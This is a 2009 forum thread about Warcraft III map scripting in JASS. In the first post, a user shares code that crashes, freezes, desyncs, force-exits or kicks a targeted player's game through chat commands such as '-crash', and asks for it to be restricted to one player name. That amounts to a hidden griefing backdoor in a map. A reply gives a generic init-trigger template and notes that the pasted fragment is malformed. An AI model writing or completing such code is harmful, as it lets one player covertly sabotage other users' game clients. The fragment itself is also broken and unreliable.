Page 1 of 1

I need an init trig

Posted: August 17th, 2009, 11:16 pm
by qwertz111
and to combine these into one
like a test trigger
and need it so only a certain name can use

Code: Select all

function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
function ExitWarcraft takes nothing returns nothing
loop                                                                   
call ExecuteFunc("ExitWarcraft")                               
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction
function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction
function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft") 
endif
endfunction

elseif SubString(s7,0,7)=="-crash " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendCrash(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-exit " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call SendExit(Player(S2I(SubString(s7,6,8))))
elseif SubString(s7,0,8)=="-freeze " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendFreeze(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,8)=="-desync " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendDesync(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,7)=="-leave " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendLeave(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-rest " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call Clusterfuck(Player(S2I(SubString(s7,6,8))))

Re: I need an init trig

Posted: August 18th, 2009, 4:54 am
by haxorico
im not so good at JASS im just a beginner and im learning.
but i do know how to make an init trigger.

Code: Select all

function InitTrig_[trigger name] takes nothing returns nothing
set gg_trg_[trigger name] = CreateTrigger(  )
call TriggerRegisterPlayerChatEvent( gg_trg_[trigger name], Player([number of player]), "[key word]", false )  // well incase the function is turnd //on by a chat event. u need to fill in the information here. if not just delete it. if u want it for specific players only like red and purple //only. double this line. and change the [number of player] 0 = red, 1 = blue etc... if u want it for all players. make a loop. if u dont know how //to make a loop. just say and ill make it for you PS - DONT ADD THIS! ITS JUST A COMMENT!
call TriggerAddCondition( gg_trg_[name of trigger], Condition( function Trig_[name of trigger]_Conditions ) )
call TriggerAddAction( gg_trg_[name of trigger], function Trig_[name of trigger]_Actions )

basicly this is from GUI. if the name of the condition triggers are diffrent so just change them. if there is smthing unclear tell me so.

btw: even for a noob in jass like me. it seems wierd. in the end it says "endfunction" and after there are some "endif" and stuff. but they are NOT in a function. so wtf? ^^

Re: I need an init trig

Posted: August 18th, 2009, 7:00 pm
by qwertz111
o i took it from another function but i need sumthin over that one too